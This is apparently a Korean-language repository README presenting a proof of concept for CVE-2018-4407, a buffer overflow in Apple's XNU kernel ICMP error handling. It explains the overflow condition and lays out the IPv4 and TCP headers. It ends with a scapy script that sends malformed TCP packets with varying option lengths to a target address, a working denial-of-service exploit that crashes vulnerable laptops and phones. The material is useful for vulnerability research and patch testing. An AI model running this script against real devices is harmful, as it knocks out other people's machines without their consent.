
XNU 커널의 ICMP 오류 코드에 있는 버퍼 오버플로 취약점으로 인해 IOS 기기(노트북 및 모바일)가 충돌합니다.
CVE-2018-4407은 XNU 커널의 ICMP 오류 처리 코드에 존재하는 버퍼 오버플로 취약점입니다. 이 취약점으로 인해 IOS 기기(노트북과 모바일 모두)는 단 하나(네, 정말 1개!)의 잘못된 패킷을 수신하면 충돌합니다.
이 버그는 2018년 10월 30일에 Kevin Backhouse가 자신의 lgtm 블로그 게시글을 통해 최초로 공개했습니다.
이 저장소의 코드는 scapy와 nmap을 사용하여 python으로 구현된 CVE-2018-4407 악용의 개념 증명(PoC)입니다.
제 디버깅 과정의 일부 단계입니다. XNU 커널 코드를 살펴보면 버퍼 오버플로를 유발할 수 있는 iphlen과 tcphlen 값을 확인할 수 있습니다. Backhouse가 말했듯이 icmplen > 84 조건을 충족해야 하며, 이를 위해서는 if(oip->ip_p == IPPROTO_TCP) 코드 분기에 진입해야 하는 것으로 보입니다. TCP 패킷이 이 취약점을 트리거합니다.

IPv4 헤더는 최소 20바이트에서 최대 36바이트까지(옵션에 따라 다름) 구성됩니다.
IHL: 옵션을 포함한 IP 헤더 길이입니다. 또한 페이로드가 시작되는 위치를 나타냅니다.Total Length: IP 패킷의 전체 길이입니다(IP 헤더와 TCP 페이로드 포함). 0 1 2 3
0 1 2 3 4 5 6 7 0 1 2 3 4 5 6 7 0 1 2 3 4 5 6 7 0 1 2 3 4 5 6 7
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
0 |Version| IHL |Type of Service| Total Length |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
4 | Identification |Flags| Fragment Offset |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
8 | Time to Live | Protocol | Header Checksum |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
12 | Source Address |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
16 | Destination Address |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
20 | Options (up to 16B) | Padding |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
TCP 헤더는 최소 20바이트에서 최대 60바이트까지(옵션은 최대 40바이트) 구성됩니다.
Data offset: 데이터가 시작되는 위치를 나타내며 헤더 길이로도 볼 수 있습니다. 0 1 2 3
0 1 2 3 4 5 6 7 0 1 2 3 4 5 6 7 0 1 2 3 4 5 6 7 0 1 2 3 4 5 6 7
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
0 | Source Port | Destination Port |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
4 | Sequence Number |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
8 | Acknowledgment Number |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Data | |U|A|P|R|S|F| |
12 | Offset| Reserved |R|C|S|S|Y|I| Window |
| | |G|K|H|T|N|N| |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
16 | Checksum | Urgent Pointer |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
20 | Options (up to 40B) | Padding |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
XNU 코드를 그렇게 깊이 파고들 필요는 없습니다. 다양한 헤더 길이를 수동으로 시도하는 간단한 scapy 스크립트도 사용할 수 있습니다:
MIN_IPHLEN = 20
MIN_TCPHLEN = 20
DST_IP = #<IP_ADDRESS>
for ip_opt_len in range(0, 60):
for tcp_opt_len in range (0, 60):
iphlen = ip_opt_len + MIN_IPHLEN
tcphlen = tcp_opt_len + MIN_TCPHLEN
total_ip_len = tcphlen + iphlen
send(IP(
ihl=iphlen/4,
len=total_ip_len,
dst=DST_IP,
options=IPOption("a" * ip_opt_len)
)/TCP(
dataofs=15,
options = [("NOP", None)] * tcp_opt_len
))